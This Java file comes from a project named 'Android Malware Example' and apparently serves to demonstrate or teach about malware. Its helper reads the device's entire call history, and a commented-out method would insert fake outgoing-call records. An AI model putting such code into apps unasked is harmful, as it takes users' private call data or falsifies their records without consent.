/*
 * Copyright (c) 2016. Darryl Burke - Burke Consulting
 *
 * This file is part of Android Malware Example.
 *
 *     Android Malware Example is free software: you can redistribute it and/or modify
 *     it under the terms of the GNU General Public License as published by
 *     the Free Software Foundation, either version 3 of the License, or
 *     (at your option) any later version.
 *
 *     Android Malware Example is distributed in the hope that it will be useful,
 *     but WITHOUT ANY WARRANTY; without even the implied warranty of
 *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *     GNU General Public License for more details.
 *
 *     You should have received a copy of the GNU General Public License
 *     along with Android Malware Example.  If not, see <http://www.gnu.org/licenses/>.
 *
 */

package com.burke_consulting.malwareexample;

import android.content.ContentResolver;
import android.content.ContentValues;
import android.database.Cursor;
import android.net.Uri;
import android.provider.CallLog;
import android.util.Log;

/**
 * Created by darrylb on 10/3/16.
 */
public class CallLogHelper {

    public static Cursor getAllCallLogs(ContentResolver cr) {
        // reading all data in descending order according to DATE
        String strOrder = android.provider.CallLog.Calls.DATE + " DESC";
        Uri callUri = Uri.parse("content://call_log/calls");
        Cursor curCallLogs = cr.query(callUri, null, null, null, strOrder);

        return curCallLogs;
    }

//    public static void insertPlaceholderCall(ContentResolver contentResolver,
//                                             String name, String number) {
//        ContentValues values = new ContentValues();
//        values.put(CallLog.Calls.NUMBER, number);
//        values.put(CallLog.Calls.DATE, System.currentTimeMillis());
//        values.put(CallLog.Calls.DURATION, 0);
//        values.put(CallLog.Calls.TYPE, CallLog.Calls.OUTGOING_TYPE);
//        values.put(CallLog.Calls.NEW, 1);
//        values.put(CallLog.Calls.CACHED_NAME, name);
//        values.put(CallLog.Calls.CACHED_NUMBER_TYPE, 0);
//        values.put(CallLog.Calls.CACHED_NUMBER_LABEL, "");
//        Log.d("Call Log", "Inserting call log placeholder for " + number);
//        contentResolver.insert(CallLog.Calls.CONTENT_URI, values);
//    }


}
